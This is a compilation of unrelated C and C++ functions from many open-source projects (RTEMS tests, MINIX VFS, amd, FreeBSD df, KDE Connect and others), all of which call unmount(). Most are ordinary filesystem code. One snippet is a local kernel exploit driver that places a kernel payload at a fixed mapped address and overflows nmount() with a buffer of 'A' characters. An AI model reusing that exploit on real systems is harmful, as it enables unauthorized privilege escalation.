void SceneObject::unpackUpdate( NetConnection* conn, BitStream* stream ) { Parent::unpackUpdate( conn, stream ); // Rare updates if ( stream->readFlag() ) { stream->read(&mCollisionMask); mObjectFlags = stream->readRangedU32( 0, getObjectFlagMax() ); ColorI defaultColor; for(U32 i = 0; i < Palette::NumSlots; i++) { if(stream->readFlag()) stream->read(&mPalette.colors[i]); else mPalette.colors[i] = Palette::defaultColor; } } // Flicker time if ( stream->readFlag() ) stream->read(&mFlickerTime); // MountedMask if ( stream->readFlag() ) { if ( stream->readFlag() ) { S32 gIndex = stream->readInt( NetConnection::GhostIdBitSize ); SceneObject* obj = dynamic_cast<SceneObject*>( conn->resolveGhost( gIndex ) ); S32 node = -1; if ( stream->readFlag() ) // node != -1 node = stream->readInt( NumMountPointBits ); MatrixF xfm; mathRead( *stream, &xfm ); if ( !obj ) { conn->setLastError( "Invalid packet from server." ); return; } obj->mountObject( this, node, xfm ); } else unmount(); } }
/*===========================================================================* * unmount_all * *===========================================================================*/ PRIVATE void unmount_all(void) { /* Unmount all filesystems. File systems are mounted on other file systems, * so you have to pull off the loose bits repeatedly to get it all undone. */ int i; for (i= 0; i < NR_MNTS; i++) { struct vmnt *vmp; /* Unmount at least one. */ for (vmp = &vmnt[0]; vmp < &vmnt[NR_MNTS]; vmp++) { if (vmp->m_dev != NO_DEV) unmount(vmp->m_dev, NULL); } } }
void gf_fuse_unmount(const char *mountpoint, int fd) { int ret; struct stat sbuf; char dev[128]; char resolved_path[PATH_MAX]; char *ep, *rp = NULL; unsigned int hs_complete = 0; ret = ioctl(fd, FUSEDEVIOCGETHANDSHAKECOMPLETE, &hs_complete); if (ret || !hs_complete) { return; } /* XXX does this have any use here? */ ret = ioctl(fd, FUSEDEVIOCSETDAEMONDEAD, &fd); if (ret) { return; } if (fstat(fd, &sbuf) == -1) { return; } devname_r(sbuf.st_rdev, S_IFCHR, dev, 128); if (strncmp(dev, MACFUSE_DEVICE_BASENAME, sizeof(MACFUSE_DEVICE_BASENAME) - 1)) { return; } strtol(dev + 4, &ep, 10); if (*ep != '\0') { return; } rp = realpath(mountpoint, resolved_path); if (rp) { ret = unmount(resolved_path, 0); } close(fd); return; }
/* force unmount, no questions asked, without touching mnttab file */ int umount2_fs(const char *mntdir, u_int unmount_flags) { int error = 0; if (unmount_flags & AMU_UMOUNT_FORCE) { plog(XLOG_INFO, "umount2_fs: trying unmount/forced on %s", mntdir); error = unmount(mntdir, MNT2_GEN_OPT_FORCE); if (error < 0 && (errno == EINVAL || errno == ENOENT)) error = 0; /* ignore EINVAL/ENOENT */ if (error < 0) plog(XLOG_WARNING, "%s: unmount/force: %m", mntdir); else dlog("%s: unmount/force: OK", mntdir); } return error; }
int umount_fs(char *mntdir, const char *mnttabname, u_int unmount_flags) { int error; eintr: error = unmount(mntdir, 0); if (error < 0) error = errno; switch (error) { case EINVAL: case ENOTBLK: case ENOENT: plog(XLOG_WARNING, "unmount: %s is not mounted", mntdir); error = 0; /* Not really an error */ break; case EINTR: /* not sure why this happens, but it does. ask kirk one day... */ dlog("%s: unmount: %m", mntdir); goto eintr; #ifdef MNT2_GEN_OPT_FORCE case EBUSY: case EIO: case ESTALE: /* caller determines if forced unmounts should be used */ if (unmount_flags & AMU_UMOUNT_FORCE) { error = umount2_fs(mntdir, unmount_flags); if (error < 0) error = errno; else return error; } /* fallthrough */ #endif /* MNT2_GEN_OPT_FORCE */ default: dlog("%s: unmount: %m", mntdir); break; } return error; }
static void mountpoints_unmount(void) { for ( size_t n = mountpoints_used; n != 0; n-- ) { size_t i = n - 1; struct mountpoint* mountpoint = &mountpoints[i]; if ( mountpoint->pid < 0 ) continue; if ( unmount(mountpoint->absolute, 0) < 0 && errno != ENOMOUNT ) warning("unmount: %s: %m", mountpoint->entry.fs_file); else if ( errno == ENOMOUNT ) kill(mountpoint->pid, SIGQUIT); int code; if ( waitpid(mountpoint->pid, &code, 0) < 0 ) note("waitpid: %m"); mountpoint->pid = -1; } }
static void test_create_file_system(void) { int rv; rv = mkdir(mnt, S_IRWXU | S_IRWXG | S_IRWXO); rtems_test_assert(rv == 0); rv = rtems_rfs_format(rda, &rfs_config); rtems_test_assert(rv == 0); test_mount(true); rv = mknod(file, S_IFREG | S_IRWXU | S_IRWXG | S_IRWXO, 0); rtems_test_assert(rv == 0); rv = unmount(mnt); rtems_test_assert(rv == 0); }
int main (int argc, char *argv[]) { GOptionContext *context; GError *error; GFile *file; setlocale (LC_ALL, ""); g_type_init (); error = NULL; context = g_option_context_new ("- mount <location>"); g_option_context_add_main_entries (context, entries, GETTEXT_PACKAGE); g_option_context_parse (context, &argc, &argv, &error); g_option_context_free (context); main_loop = g_main_loop_new (NULL, FALSE); if (mount_list) list_monitor_items (); else if (unmount_scheme != NULL) { unmount_all_with_scheme (unmount_scheme); } else if (argc > 1) { int i; for (i = 1; i < argc; i++) { file = g_file_new_for_commandline_arg (argv[i]); if (mount_unmount) unmount (file); else mount (file); g_object_unref (file); } } if (outstanding_mounts > 0) g_main_loop_run (main_loop); return 0; }
void SysAddDiskPrefs(void) { // Let BeOS scan for HFS drives D(bug("Looking for Mac volumes...\n")); system("mountvolume -allhfs"); // Add all HFS volumes int32 i = 0; dev_t d; fs_info info; while ((d = next_dev(&i)) >= 0) { fs_stat_dev(d, &info); status_t err = -1; BPath mount; if (!strcmp(info.fsh_name, "hfs")) { BDirectory dir; BEntry entry; node_ref node; node.device = info.dev; node.node = info.root; err = dir.SetTo(&node); if (!err) err = dir.GetEntry(&entry); if (!err) err = entry.GetPath(&mount); } #warning TODO: unmount inuse disk! #if 0 if (!err) err = unmount(mount.Path()); #endif if (!err) { char dev_name[B_FILE_NAME_LENGTH]; if (info.flags & B_FS_IS_READONLY) { dev_name[0] = '*'; dev_name[1] = 0; } else dev_name[0] = 0; strcat(dev_name, info.device_name); PrefsAddString("disk", dev_name); } } }
static void unmount_and_close_device( void ) { int rc; rtems_resource_snapshot now; bool are_resources_freed; delete_folder_tree( MOUNT_DIR ); rc = unmount( MOUNT_DIR ); rtems_test_assert( rc == 0 ); are_resources_freed = rtems_resource_snapshot_check( &before_mount ); if ( !are_resources_freed ) rtems_resource_snapshot_take( &now ); rtems_test_assert( are_resources_freed ); }
int LittleFileSystem::reformat(BlockDevice *bd) { _mutex.lock(); LFS_INFO("reformat(%p)", bd); if (_bd) { if (!bd) { bd = _bd; } int err = unmount(); if (err) { LFS_INFO("reformat -> %d", err); _mutex.unlock(); return err; } } if (!bd) { LFS_INFO("reformat -> %d", -ENODEV); _mutex.unlock(); return -ENODEV; } int err = LittleFileSystem::format(bd, _read_size, _prog_size, _block_size, _lookahead); if (err) { LFS_INFO("reformat -> %d", err); _mutex.unlock(); return err; } err = mount(bd); if (err) { LFS_INFO("reformat -> %d", err); _mutex.unlock(); return err; } LFS_INFO("reformat -> %d", 0); _mutex.unlock(); return 0; }
int main(int argc, char **argv) { if (argc == 3) { mount(argv[1]); if (mi_unlink(argv[2]) < 0) { printf("ERROR (mi_rm.c): Fallo al ejecutar mi_unlink(%s).\n", argv[2]); return (-1); } unmount(argv[1]); } else { printf("Error en los parámetros de mi_rm\n"); } return (0); }
gboolean ck_remove_tmpfs (guint uid, const gchar *dest) { #ifdef HAVE_SYS_MOUNT_H int result; TRACE (); result = unmount(dest, 0); if (result == 0) { return TRUE; } g_info ("Failed to unmount tmpfs mount, reason was: %s", strerror(errno)); errno = 0; #endif return FALSE; }
/*===========================================================================* * unmount_all * *===========================================================================*/ PUBLIC void unmount_all(void) { /* Unmount all filesystems. File systems are mounted on other file systems, * so you have to pull off the loose bits repeatedly to get it all undone. */ int i; struct vmnt *vmp; /* Now unmount the rest */ for (i = 0; i < NR_MNTS; i++) { /* Unmount at least one. */ for (vmp = &vmnt[0]; vmp < &vmnt[NR_MNTS]; vmp++) { if (vmp->m_dev != NO_DEV) unmount(vmp->m_dev, NULL); } } check_vnode_locks(); check_vmnt_locks(); check_filp_locks(); check_bsf_lock(); }
static void do_unmount(const atf::fs::path& in_path) { // At least, FreeBSD's unmount(2) requires the path to be absolute. // Let's make it absolute in all cases just to be safe that this does // not affect other systems. const atf::fs::path& abs_path = in_path.is_absolute() ? in_path : in_path.to_absolute(); #if defined(HAVE_UNMOUNT) int retries = max_retries; retry_unmount: if (unmount(abs_path.c_str(), 0) == -1) { if (errno == EBUSY && retries > 0) { retries--; ::sleep(retry_delay_in_seconds); goto retry_unmount; } else { throw atf::system_error(IMPL_NAME "::cleanup(" + in_path.str() + ")", "unmount(2) failed", errno); } } #else // We could use umount(2) instead if it was available... but // trying to do so under, e.g. Linux, is a nightmare because we // also have to update /etc/mtab to match what we did. It is // satf::fser to just leave the system-specific umount(8) tool deal // with it, at least for now. const atf::fs::path prog("umount"); atf::process::argv_array argv("umount", abs_path.c_str(), NULL); atf::process::status s = atf::process::exec(prog, argv, atf::process::stream_inherit(), atf::process::stream_inherit()); if (!s.exited() || s.exitstatus() != EXIT_SUCCESS) throw std::runtime_error("Call to unmount failed"); #endif }
/*===========================================================================* * do_umount * *===========================================================================*/ int do_umount(void) { /* Perform the umount(name) system call. * syscall might provide 'name' embedded in the message. */ char label[LABEL_MAX]; dev_t dev; int r; char fullpath[PATH_MAX]; vir_bytes vname; size_t vname_length; vname = (vir_bytes) job_m_in.name; vname_length = (size_t) job_m_in.name_length; /* Only the super-user may do umount. */ if (!super_user) return(EPERM); /* If 'name' is not for a block special file or mountpoint, return error. */ if (copy_name(vname_length, fullpath) != OK) { /* Direct copy failed, try fetching from user space */ if (fetch_name(vname, vname_length, fullpath) != OK) return(err_code); } if ((dev = name_to_dev(TRUE /*allow_mountpt*/, fullpath)) == NO_DEV) return(err_code); if ((r = unmount(dev, label)) != OK) return(r); /* Return the label of the mounted file system, so that the caller * can shut down the corresponding server process. */ if (strlen(label) >= M3_LONG_STRING) /* should never evaluate to true */ label[M3_LONG_STRING-1] = 0; strlcpy(m_out.umount_label, label, M3_LONG_STRING); return(OK); }
static void test(void) { int rv; const void *data = NULL; rv = mkdir(mnt, S_IRWXU | S_IRWXG | S_IRWXO); rtems_test_assert(rv == 0); rv = rtems_rfs_format(device, &rfs_config); rtems_test_assert(rv == 0); rv = mount( device, mnt, RTEMS_FILESYSTEM_TYPE_RFS, RTEMS_FILESYSTEM_READ_WRITE, data ); rtems_test_assert(rv == 0); rv = mknod(file, S_IFREG | S_IRWXU | S_IRWXG | S_IRWXO, 0); rtems_test_assert(rv == 0); rv = unmount(mnt); rtems_test_assert(rv == 0); test_file_system_with_handler( 0, device, mnt, &test_rfs_handler, NULL ); flashdisk_print_status(device); }
void Player::set_mount(SuperObject* m, fvec3 rwc) { if (!m) { unmount(); return; } if (mount) { // unmount first mount->remove_entity(this); } printf_fvec3(get_world_pos()); printf("\n"); mount = m; // no moving around while mounted! velocity = fvec3(0, 0, 0); // TODO this is hack fix this->set_pos(rwc - get_center_offset()); mount->add_entity(this); //m->transform_into_my_coordinates_smooth(&offset_to_mount, pos.x, pos.y, pos.z); //set_pos(pos - this->center_pos); can_collide = false; printf_fvec3(get_world_pos()); toggle_mount(true); }
int transition_machine() { int i; while(transition!=DEATH) { switch(transition) { case MULTI: run_multi(); break; case SINGLE: run_single(); break; } } syslog(LOG_EMERG,"Killing all existing sessions..."); /* Kill all sessions */ kill(-1,SIGKILL); /* Be nice and wait for them */ while(waitpid(-1,(int *)0,WNOHANG|WUNTRACED)>0) continue; unmount("/",0); reboot(RB_AUTOBOOT); /* NOTREACHED */ }
static int rtems_shell_main_unmount( int argc, char *argv[] ) { char* mount_point = NULL; int arg; for (arg = 1; arg < argc; arg++) { if (!mount_point) mount_point = argv[arg]; else { fprintf (stderr, "error: only one mount path require: %s\n", argv[arg]); return 1; } } if (!mount_point) { fprintf (stderr, "error: no mount point\n"); return 1; } /* * Unmount the disk. */ if (unmount (mount_point) < 0) { fprintf (stderr, "error: unmount failed: %s: %s\n", mount_point, strerror (errno)); return 1; } printf ("unmounted %s\n", mount_point); return 0; }
static void test_file_creation( const char *dev_name, const char *mount_dir, const uint32_t number_of_files ) { int rv; uint32_t file_idx; char file_name[MAX_PATH_LENGTH + 1]; rv = mount( dev_name, mount_dir, RTEMS_FILESYSTEM_TYPE_DOSFS, RTEMS_FILESYSTEM_READ_WRITE, NULL ); rtems_test_assert( 0 == rv ); for ( file_idx = 0; file_idx < number_of_files; ++file_idx ) { test_create_file( mount_dir, file_idx, true ); } test_create_file( mount_dir, file_idx, false ); for ( file_idx = 0; file_idx < number_of_files; ++file_idx ) { snprintf( file_name, MAX_PATH_LENGTH, "%s/file%" PRIu32 ".txt", mount_dir, file_idx ); rv = unlink( file_name ); rtems_test_assert( 0 == rv ); } rv = unmount( mount_dir ); rtems_test_assert( 0 == rv ); }
int main(int argc, char *argv[]) { char c, *p, *noncanon_mp, *cmd, *path_env, dir[PATH_MAX]; struct pscfs_args args = PSCFS_ARGS_INIT(0, NULL); struct psc_dynarray startup_cmds = DYNARRAY_INIT; const char *progpath = argv[0]; int rc, i, unmount_first = 0; pfl_init(); pscfs_addarg(&args, ""); /* progname/argv[0] */ pscfs_addarg(&args, "-o"); pscfs_addarg(&args, STD_MOUNT_OPTIONS); p = getenv("CTL_SOCK_FILE"); if (p) ctlsockfn = p; while ((c = getopt(argc, argv, "dL:o:S:U")) != -1) switch (c) { case 'd': pscfs_addarg(&args, "-odebug"); break; case 'L': psc_dynarray_add(&startup_cmds, optarg); break; case 'o': if (!opt_lookup(optarg)) { pscfs_addarg(&args, "-o"); pscfs_addarg(&args, optarg); } break; case 'S': ctlsockfn = optarg; break; case 'U': unmount_first = 1; break; default: usage(); } argc -= optind; argv += optind; if (argc != 1) usage(); pscthr_init(PFL_THRT_FSMGR, NULL, 0, "fsmgrthr"); noncanon_mp = argv[0]; if (unmount_first) unmount(noncanon_mp); /* canonicalize mount path */ if (realpath(noncanon_mp, mountpoint) == NULL) psc_fatal("realpath %s", noncanon_mp); pscfs_mount(mountpoint, &args); pscfs_freeargs(&args); ctlthr_spawn(); pfl_opstimerthr_spawn(PFL_THRT_OPSTIMER, "opstimerthr"); pfl_workq_init(128, 1024, 1024); pfl_wkthr_spawn(PFL_THRT_WORKER, 4, 0, "wkthr%d"); pscfs_entry_timeout = 8.; pscfs_attr_timeout = 8.; /* * Here, $p = (directory this daemon binary resides in). * Now we add the following to $PATH: * * 1) $p * 2) $p/../wokctl (for developers) */ pfl_dirname(progpath, dir); p = getenv("PATH"); rc = pfl_asprintf(&path_env, "%s:%s/../wokctl%s%s", dir, dir, p ? ":" : "", p ? p : ""); psc_assert(rc != -1); setenv("PATH", path_env, 1); /* * If wokctl (see file wokctl.c) misbehaves because it is given * a wrong arugment, it is hard to debug from our end because * we won't be receiving anything useful via the socket. This * should be changed to a native call someday. * * If the client does not come up, double/triple checkout * the name of your slash2 shared library. I wish I can * add more verbose debugging information. */ DYNARRAY_FOREACH(cmd, i, &startup_cmds) pfl_systemf("wokctl -S %s %s", ctlsockfn, cmd); exit(pscfs_main(32, "")); }
/* * Test the compatibility with a genuine MS Windows FAT file system. */ static void test_compatibility( void ) { int rc; rtems_status_code sc; dev_t dev; char diskpath[] = "/dev/ramdisk1"; rtems_dosfs_mount_options mount_opts; rtems_device_major_number major; FILE *fp; int buffer; unsigned int index_file = 0; unsigned int index_char; unsigned int offset; char content_buf[MAX_NAME_LENGTH + strlen( MOUNT_DIR ) + 1]; char file_path[MAX_NAME_LENGTH + strlen( MOUNT_DIR ) + 1]; DIR *dir_stream; struct dirent *dp; mount_opts.converter = rtems_dosfs_create_utf8_converter( "CP850" ); rtems_test_assert( mount_opts.converter != NULL ); sc = rtems_io_register_driver( 0, &ramdisk_ops, &major ); rtems_test_assert( sc == RTEMS_SUCCESSFUL ); dev = rtems_filesystem_make_dev_t( major, 1 ); sc = rtems_disk_create_phys( dev, BLOCK_SIZE, BLOCK_COUNT, ramdisk_ioctl, &disk_image, diskpath ); rtems_test_assert( sc == RTEMS_SUCCESSFUL ); rc = mount_and_make_target_path( diskpath, MOUNT_DIR, RTEMS_FILESYSTEM_TYPE_DOSFS, RTEMS_FILESYSTEM_READ_WRITE, &mount_opts ); rtems_test_assert( rc == 0 ); dir_stream = opendir( MOUNT_DIR ); rtems_test_assert( dir_stream != NULL ); dp = readdir( dir_stream ); rtems_test_assert( dp != NULL ); while ( dp != NULL ) { index_char = 0; size_t len = strlen( filenames[index_file] ); if ( filenames[index_file][len - 1] == '.' ) rtems_test_assert( ( len - 1 ) == dp->d_namlen ); else rtems_test_assert( len == dp->d_namlen ); rtems_test_assert( 0 == memcmp( &filenames[index_file][0], &dp->d_name[0], dp->d_namlen ) ); snprintf( file_path, sizeof( file_path ), "%s/%s", MOUNT_DIR, filenames[index_file] ); fp = fopen( file_path, "r" ); rtems_test_assert( fp != NULL ); /* These files should contain their own file names. */ while ( ( buffer = fgetc( fp ) ) != EOF ) { content_buf[index_char] = buffer; ++index_char; } if ( 0 == strncmp( content_buf, UTF8_BOM, UTF8_BOM_SIZE ) ) offset = UTF8_BOM_SIZE; else offset = 0; rtems_test_assert( 0 == memcmp( filenames[index_file], &content_buf[offset], index_char - offset ) ); rc = fclose( fp ); rtems_test_assert( rc == 0 ); ++index_file; dp = readdir( dir_stream ); } rtems_test_assert( index_file == FILES_FILENAMES_NUMBER_OF ); rc = closedir( dir_stream ); rtems_test_assert( rc == 0 ); rc = unmount( MOUNT_DIR ); rtems_test_assert( rc == 0 ); }
FATFileSystem::~FATFileSystem() { // nop if unmounted unmount(); }
void MythCDROM::onDeviceMounted() { if (!QDir(m_MountPath).exists()) { LOG(VB_GENERAL, LOG_ERR, QString("Mountpoint '%1' doesn't exist") .arg(m_MountPath)); m_MediaType = MEDIATYPE_UNKNOWN; m_Status = MEDIASTAT_ERROR; return; } QFileInfo audio = QFileInfo(m_MountPath + PATHTO_AUDIO_DETECT); QDir dvd = QDir(m_MountPath + PATHTO_DVD_DETECT); QDir svcd = QDir(m_MountPath + PATHTO_SVCD_DETECT); QDir vcd = QDir(m_MountPath + PATHTO_VCD_DETECT); QDir bad_dvd = QDir(m_MountPath + PATHTO_BAD_DVD_MOUNT); QDir bd = QDir(m_MountPath + PATHTO_BD_DETECT); // Default is data media m_MediaType = MEDIATYPE_DATA; // Default is mounted media m_Status = MEDIASTAT_MOUNTED; if (dvd.exists()) { LOG(VB_MEDIA, LOG_INFO, "Probable DVD detected."); m_MediaType = MEDIATYPE_DVD; m_Status = MEDIASTAT_USEABLE; } else if (bd.exists()) { LOG(VB_MEDIA, LOG_INFO, "Probable Blu-ray detected."); m_MediaType = MEDIATYPE_BD; m_Status = MEDIASTAT_USEABLE; } else if (audio.exists()) { LOG(VB_MEDIA, LOG_INFO, "Probable Audio CD detected."); m_MediaType = MEDIATYPE_AUDIO; m_Status = MEDIASTAT_USEABLE; } else if (vcd.exists() || svcd.exists()) { LOG(VB_MEDIA, LOG_INFO, "Probable VCD/SVCD detected."); m_MediaType = MEDIATYPE_VCD; m_Status = MEDIASTAT_USEABLE; } else if (bad_dvd.exists()) { LOG(VB_GENERAL, LOG_ERR, "DVD incorrectly mounted? (ISO9660 instead of UDF)"); } else { LOG(VB_GENERAL, LOG_ERR, QString("CD/DVD '%1' contained none of\n").arg(m_MountPath) + QString("\t\t\t%1, %2, %3 or %4").arg(PATHTO_DVD_DETECT) .arg(PATHTO_AUDIO_DETECT).arg(PATHTO_VCD_DETECT) .arg(PATHTO_SVCD_DETECT)); LOG(VB_GENERAL, LOG_INFO, "Searching CD statistically - file by file!"); } // If not DVD/AudioCD/VCD/SVCD, use parent's more generic version if (MEDIATYPE_DATA == m_MediaType) MythMediaDevice::onDeviceMounted(); // Unlock the door, and if appropriate unmount the media, // so the user can press the manual eject button if (m_AllowEject) { unlock(); if (m_MediaType == MEDIATYPE_DVD || m_MediaType == MEDIATYPE_VCD) unmount(); } }
int main() { void *vptr; struct iovec iov[6]; vptr = mmap((void *)ADDR, PAGESIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0); if(vptr == MAP_FAILED) { perror("mmap"); exit(EXIT_FAILURE); } vptr += OFFSET; printf("[*] vptr = 0x%.8x\n", (unsigned int)vptr); memcpy(vptr, kernelcode, (sizeof(kernelcode) - 1)); mkdir(DIRPATH, 0700); iov[0].iov_base = "fstype"; iov[0].iov_len = strlen(iov[0].iov_base) + 1; iov[1].iov_base = FSNAME; iov[1].iov_len = strlen(iov[1].iov_base) + 1; iov[2].iov_base = "fspath"; iov[2].iov_len = strlen(iov[2].iov_base) + 1; iov[3].iov_base = DIRPATH; iov[3].iov_len = strlen(iov[3].iov_base) + 1; iov[4].iov_base = calloc(BUFSIZE, sizeof(char)); if(iov[4].iov_base == NULL) { perror("calloc"); rmdir(DIRPATH); exit(EXIT_FAILURE); } memset(iov[4].iov_base, 0x41, (BUFSIZE - 1)); iov[4].iov_len = BUFSIZE; iov[5].iov_base = "BBBB"; iov[5].iov_len = strlen(iov[5].iov_base) + 1; printf("[*] calling nmount()\n"); if(nmount(iov, 6, 0) < 0) { perror("nmount"); rmdir(DIRPATH); exit(EXIT_FAILURE); } printf("[*] unmounting and deleting %s\n", DIRPATH); unmount(DIRPATH, 0); rmdir(DIRPATH); return EXIT_SUCCESS; }
void procexec(Channel *pidc, char *prog, char *args[]) { int n; Proc *p; Thread *t; _threaddebug(DBGEXEC, "procexec %s", prog); /* must be only thread in proc */ p = _threadgetproc(); t = p->thread; if(p->threads.head != t || p->threads.head->nextt != nil){ werrstr("not only thread in proc"); Bad: if(pidc) sendul(pidc, ~0); return; } /* * We want procexec to behave like exec; if exec succeeds, * never return, and if it fails, return with errstr set. * Unfortunately, the exec happens in another proc since * we have to wait for the exec'ed process to finish. * To provide the semantics, we open a pipe with the * write end close-on-exec and hand it to the proc that * is doing the exec. If the exec succeeds, the pipe will * close so that our read below fails. If the exec fails, * then the proc doing the exec sends the errstr down the * pipe to us. */ if(bind("#|", PIPEMNT, MREPL) < 0) goto Bad; if((p->exec.fd[0] = open(PIPEMNT "/data", OREAD)) < 0){ unmount(nil, PIPEMNT); goto Bad; } if((p->exec.fd[1] = open(PIPEMNT "/data1", OWRITE|OCEXEC)) < 0){ close(p->exec.fd[0]); unmount(nil, PIPEMNT); goto Bad; } unmount(nil, PIPEMNT); /* exec in parallel via the scheduler */ assert(p->needexec==0); p->exec.prog = prog; p->exec.args = args; p->needexec = 1; _sched(); close(p->exec.fd[1]); if((n = read(p->exec.fd[0], p->exitstr, ERRMAX-1)) > 0){ /* exec failed */ p->exitstr[n] = '\0'; errstr(p->exitstr, ERRMAX); close(p->exec.fd[0]); goto Bad; } close(p->exec.fd[0]); if(pidc) sendul(pidc, t->ret); /* wait for exec'ed program, then exit */ _schedexecwait(); }
int main(int argc, char *argv[]) { struct stat stbuf; struct statfs statfsbuf, totalbuf; struct maxwidths maxwidths; struct statfs *mntbuf; const char *fstype; char *mntpath, *mntpt; const char **vfslist; int i, mntsize; int ch, rv; fstype = "ufs"; memset(&totalbuf, 0, sizeof(totalbuf)); totalbuf.f_bsize = DEV_BSIZE; strlcpy(totalbuf.f_mntfromname, "total", MNAMELEN); vfslist = NULL; while ((ch = getopt(argc, argv, "abcgHhiklmnPt:T")) != -1) switch (ch) { case 'a': aflag = 1; break; case 'b': /* FALLTHROUGH */ case 'P': /* * POSIX specifically discusses the behavior of * both -k and -P. It states that the blocksize should * be set to 1024. Thus, if this occurs, simply break * rather than clobbering the old blocksize. */ if (kflag) break; setenv("BLOCKSIZE", "512", 1); hflag = 0; break; case 'c': cflag = 1; break; case 'g': setenv("BLOCKSIZE", "1g", 1); hflag = 0; break; case 'H': hflag = UNITS_SI; break; case 'h': hflag = UNITS_2; break; case 'i': iflag = 1; break; case 'k': kflag++; setenv("BLOCKSIZE", "1024", 1); hflag = 0; break; case 'l': if (vfslist != NULL) errx(1, "-l and -t are mutually exclusive."); vfslist = makevfslist(makenetvfslist()); lflag = 1; break; case 'm': setenv("BLOCKSIZE", "1m", 1); hflag = 0; break; case 'n': nflag = 1; break; case 't': if (lflag) errx(1, "-l and -t are mutually exclusive."); if (vfslist != NULL) errx(1, "only one -t option may be specified"); fstype = optarg; vfslist = makevfslist(optarg); break; case 'T': Tflag = 1; break; case '?': default: usage(); } argc -= optind; argv += optind; rv = 0; if (!*argv) { /* everything (modulo -t) */ mntsize = getmntinfo(&mntbuf, MNT_NOWAIT); mntsize = regetmntinfo(&mntbuf, mntsize, vfslist); } else { /* just the filesystems specified on the command line */ mntbuf = malloc(argc * sizeof(*mntbuf)); if (mntbuf == 0) err(1, "malloc()"); mntsize = 0; /* continued in for loop below */ } /* iterate through specified filesystems */ for (; *argv; argv++) { if (stat(*argv, &stbuf) < 0) { if ((mntpt = getmntpt(*argv)) == 0) { warn("%s", *argv); rv = 1; continue; } } else if (S_ISCHR(stbuf.st_mode)) { if ((mntpt = getmntpt(*argv)) == 0) { mdev.fspec = *argv; mntpath = strdup("/tmp/df.XXXXXX"); if (mntpath == NULL) { warn("strdup failed"); rv = 1; continue; } mntpt = mkdtemp(mntpath); if (mntpt == NULL) { warn("mkdtemp(\"%s\") failed", mntpath); rv = 1; free(mntpath); continue; } if (mount(fstype, mntpt, MNT_RDONLY, &mdev) != 0) { warn("%s", *argv); rv = 1; (void)rmdir(mntpt); free(mntpath); continue; } else if (statfs(mntpt, &statfsbuf) == 0) { statfsbuf.f_mntonname[0] = '\0'; prtstat(&statfsbuf, &maxwidths); if (cflag) addstat(&totalbuf, &statfsbuf); } else { warn("%s", *argv); rv = 1; } (void)unmount(mntpt, 0); (void)rmdir(mntpt); free(mntpath); continue; } } else mntpt = *argv; /* * Statfs does not take a `wait' flag, so we cannot * implement nflag here. */ if (statfs(mntpt, &statfsbuf) < 0) { warn("%s", mntpt); rv = 1; continue; } /* * Check to make sure the arguments we've been given are * satisfied. Return an error if we have been asked to * list a mount point that does not match the other args * we've been given (-l, -t, etc.). */ if (checkvfsname(statfsbuf.f_fstypename, vfslist)) { rv = 1; continue; } /* the user asked for it, so ignore the ignore flag */ statfsbuf.f_flags &= ~MNT_IGNORE; /* add to list */ mntbuf[mntsize++] = statfsbuf; } bzero(&maxwidths, sizeof(maxwidths)); for (i = 0; i < mntsize; i++) { if (aflag || (mntbuf[i].f_flags & MNT_IGNORE) == 0) { update_maxwidths(&maxwidths, &mntbuf[i]); if (cflag) addstat(&totalbuf, &mntbuf[i]); } } for (i = 0; i < mntsize; i++) if (aflag || (mntbuf[i].f_flags & MNT_IGNORE) == 0) prtstat(&mntbuf[i], &maxwidths); if (cflag) prtstat(&totalbuf, &maxwidths); return (rv); }
//-------------------------------------------------------------------------- // Function: CommonFG::unmount ///\brief This is an overloaded member function, provided for convenience. /// It differs from the above function in that it takes an /// \c H5std_string for \a name. // Programmer Binh-Minh Ribler - 2000 //-------------------------------------------------------------------------- void CommonFG::unmount( const H5std_string& name ) const { unmount( name.c_str() ); }
void Mounter::onPakcageReceived(const NetworkPackage& np) { if (np.get<bool>("stop", false)) { qCDebug(KDECONNECT_PLUGIN_SFTP) << "SFTP server stopped"; unmount(); return; } //This is the previous code, to access sftp server using KIO. Now we are //using the external binary sshfs, and accessing it as a local filesystem. /* * QUrl url; * url.setScheme("sftp"); * url.setHost(np.get<QString>("ip")); * url.setPort(np.get<QString>("port").toInt()); * url.setUserName(np.get<QString>("user")); * url.setPassword(np.get<QString>("password")); * url.setPath(np.get<QString>("path")); * new KRun(url, 0); * Q_EMIT mounted(); */ unmount(); m_proc = new KProcess(this); m_proc->setOutputChannelMode(KProcess::MergedChannels); connect(m_proc, SIGNAL(started()), SLOT(onStarted())); connect(m_proc, SIGNAL(error(QProcess::ProcessError)), SLOT(onError(QProcess::ProcessError))); connect(m_proc, SIGNAL(finished(int,QProcess::ExitStatus)), SLOT(onFinished(int,QProcess::ExitStatus))); QDir().mkpath(m_mountPoint); const QString program = "sshfs"; QString path; if (np.has("multiPaths")) path = '/'; else path = np.get<QString>("path"); const QStringList arguments = QStringList() << QString("%1@%2:%3") .arg(np.get<QString>("user")) .arg(np.get<QString>("ip")) .arg(path) << m_mountPoint << "-p" << np.get<QString>("port") << "-f" << "-o" << "IdentityFile=" + KdeConnectConfig::instance()->privateKeyPath() << "-o" << "StrictHostKeyChecking=no" //Do not ask for confirmation because it is not a known host << "-o" << "UserKnownHostsFile=/dev/null" //Prevent storing as a known host << "-o" << "HostKeyAlgorithms=ssh-dss" //https://bugs.kde.org/show_bug.cgi?id=351725 << "-o" << "password_stdin" ; m_proc->setProgram(program, arguments); qCDebug(KDECONNECT_PLUGIN_SFTP) << "Starting process: " << m_proc->program().join(" "); m_proc->start(); //qCDebug(KDECONNECT_PLUGIN_SFTP) << "Passing password: "******"password").toLatin1(); m_proc->write(np.get<QString>("password").toLatin1()); m_proc->write("\n"); }